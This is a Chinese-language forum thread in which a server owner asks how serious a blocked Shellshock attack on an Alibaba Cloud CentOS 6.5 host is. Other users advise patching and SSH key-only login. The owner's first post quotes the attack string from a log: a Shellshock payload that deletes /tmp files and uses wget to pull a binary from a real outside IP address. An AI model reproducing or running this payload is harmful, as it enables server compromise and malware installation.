安全问题 关于破壳攻击的

[krytor]

问题:
服务器被攻击 攻击url：
x.x.x,x/ Match1:{ :; }; /bin/bash -c .rm -rf /tmp/*;echo wget http://222.186.30.161:1003/ok_xiaoma_32_64 -o /tmp/c...

我的是阿里云
centos 6.5
攻击已经被阿里云给拦截了

请问严重吗，我的密码也被暴利破解过，也被阿里云给挡住了。
我该怎么做防护，杜绝这类攻击，谢谢。

[krytor]

我给阿里云打了个电话，客服说装个杀毒软件，杀一下毒，装个安全狗啥的，好不好啊 -_-

[Septembers]

@phoenixlzx archlinux 每天上去滚一次

[liuyi_beta]

话说你的是Linux/Unix 系统啊，客服竟然让你安装杀毒软件。。。 及时安装补丁就好了，另外登陆只用证书就好了，关掉密码登陆，将端口改到不常用端口，网站的话可以考虑安装安全狗。

[pwinner]

杀毒软件。。你在说calm av么233
只用证书登录就安全多啦

[virusdefender]

这个只是扫描而已 如果服务器不存在漏洞可以不用管

[phy25]

然而你暴露了一个地址 http://222.186.30.161:1003/ 可以拿它来做什么呢 :doge:

[krytor]

@Septembers 啥意思啊

[krytor]

@pwinner 是和 aws似得那样的证书吗，阿里没提供啊

[krytor]

@virusdefender 是给我网站上传可执行文件 ，这个 http://222.186.30.161:1003/ok_xiaoma_32_64

[krytor]

@phy25 这就是那条狗 给我服务器上传可执行文件

[lk09364]

> 我该怎么做防护，杜绝这类攻击，谢谢。
上面提到了——关键字： ssh证书登录

[krytor]

@lk09364 奥 多谢， 我见aws都是ssh登陆，我想理解的是 上面那个攻击的目的是什么，获取root权限吗

[pwinner]

@krytor 这不是废话么。。有权限你就是肉鸡了。。。